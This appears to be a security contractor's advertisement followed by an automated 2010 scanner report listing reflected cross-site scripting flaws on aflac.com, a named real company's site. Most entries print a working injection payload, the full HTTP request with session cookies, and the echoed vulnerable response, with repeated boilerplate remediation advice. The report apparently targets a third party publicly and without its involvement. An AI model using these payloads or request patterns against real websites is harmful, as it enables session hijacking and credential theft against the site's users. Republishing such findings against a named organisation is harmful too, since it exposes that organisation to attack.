Contractor for Hire: Per Minute, Per Day, Bounty Hunting
Example #1: Automated Vulnerability Crawler: $1/min, max charge is US $10 for 200 URL + 10 Params for CWE-79, CWE-89 and CWE-113 (XSS, SQL Injection and HTTP Header Injection).
Example #2: Hybrid Risk Analysis: $2/min, max charge is US $30 for 200 URL + 10 Params, Manual Testing of High Value URI/Param targets.
Example #3: Penetration Testing: Individual Case Basis, use Live Chat for a Quote.
Example #4:
Report generated by XSS.CX at Sat Nov 20 12:17:26 CST 2010.
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a0dd4'%3bb3343e77f8d was submitted in the REST URL parameter 1. This input was echoed as a0dd4';b3343e77f8d in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ScriptResource.axda0dd4'%3bb3343e77f8d HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:31 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38151
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?404;http://www.aflac.com:80/ScriptResource.axda0dd4';b3343e77f8d'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
1.2. http://www.aflac.com/ScriptResource.axd [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.aflac.com
Path:
/ScriptResource.axd
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e7a1c'-alert(1)-'10aa6a1c5b7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ScriptResource.axd?e7a1c'-alert(1)-'10aa6a1c5b7=1 HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:29 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37471
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/ScriptResource.axd?e7a1c'-alert(1)-'10aa6a1c5b7=1'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload adbfd'%3b67d3d19b8e6 was submitted in the REST URL parameter 1. This input was echoed as adbfd';67d3d19b8e6 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /WebResource.axdadbfd'%3b67d3d19b8e6 HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:31 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38156
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?404;http://www.aflac.com:80/WebResource.axdadbfd';67d3d19b8e6'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
1.4. http://www.aflac.com/WebResource.axd [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.aflac.com
Path:
/WebResource.axd
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 45fbc'-alert(1)-'aa33a83fa73 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /WebResource.axd?45fbc'-alert(1)-'aa33a83fa73=1 HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:26 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37649
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/WebResource.axd?45fbc'-alert(1)-'aa33a83fa73=1'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3214c'%3b403adeaaeb9 was submitted in the REST URL parameter 1. This input was echoed as 3214c';403adeaaeb9 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /aboutaflac3214c'%3b403adeaaeb9/pressroom/pressreleasestory.aspx HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:45 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37644
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/aboutaflac3214c';403adeaaeb9/pressroom/pressreleasestory.aspx'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3);
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5ca20'%3b061e884e2dc was submitted in the REST URL parameter 2. This input was echoed as 5ca20';061e884e2dc in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /aboutaflac/pressroom5ca20'%3b061e884e2dc/pressreleasestory.aspx HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:45 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38137
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/aboutaflac/pressroom5ca20';061e884e2dc/pressreleasestory.aspx'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3);
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload df63b'%3bd9de5903335 was submitted in the REST URL parameter 3. This input was echoed as df63b';d9de5903335 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /aboutaflac/pressroom/pressreleasestory.aspxdf63b'%3bd9de5903335 HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:47 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38221
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?404;http://www.aflac.com:80/aboutaflac/pressroom/pressreleasestory.aspxdf63b';d9de5903335'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
1.8. http://www.aflac.com/aboutaflac/pressroom/pressreleasestory.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.aflac.com
Path:
/aboutaflac/pressroom/pressreleasestory.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 93cec'-alert(1)-'0efa85ea8b1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /aboutaflac/pressroom/pressreleasestory.aspx?93cec'-alert(1)-'0efa85ea8b1=1 HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:44 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 48414
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Press Releases </titl ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/aboutaflac/pressroom/pressreleasestory.aspx?93cec'-alert(1)-'0efa85ea8b1=1'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 45c44'%3b86056f50c15 was submitted in the REST URL parameter 1. This input was echoed as 45c44';86056f50c15 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /agents45c44'%3b86056f50c15/default.aspx HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:38 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/agents45c44';86056f50c15/default.aspx'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 451a5'%3b223e3bb8ff was submitted in the REST URL parameter 2. This input was echoed as 451a5';223e3bb8ff in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /agents/default.aspx451a5'%3b223e3bb8ff HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:41 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?404;http://www.aflac.com:80/agents/default.aspx451a5';223e3bb8ff'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4e5ac'%3b973320101b was submitted in the REST URL parameter 1. This input was echoed as 4e5ac';973320101b in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /agents4e5ac'%3b973320101b/whyaflac.aspx HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:32 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37628
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/agents4e5ac';973320101b/whyaflac.aspx'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c1d12'%3b5f226afbbfa was submitted in the REST URL parameter 2. This input was echoed as c1d12';5f226afbbfa in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /agents/whyaflac.aspxc1d12'%3b5f226afbbfa HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:34 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38173
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?404;http://www.aflac.com:80/agents/whyaflac.aspxc1d12';5f226afbbfa'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9a960'%3b1f4f74152aa was submitted in the REST URL parameter 1. This input was echoed as 9a960';1f4f74152aa in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /apps9a960'%3b1f4f74152aa/404.aspx HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:39 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37622
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps9a960';1f4f74152aa/404.aspx'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 80e1f'%3bb82586533d5 was submitted in the REST URL parameter 2. This input was echoed as 80e1f';b82586533d5 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /apps/404.aspx80e1f'%3bb82586533d5 HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:42 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38159
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
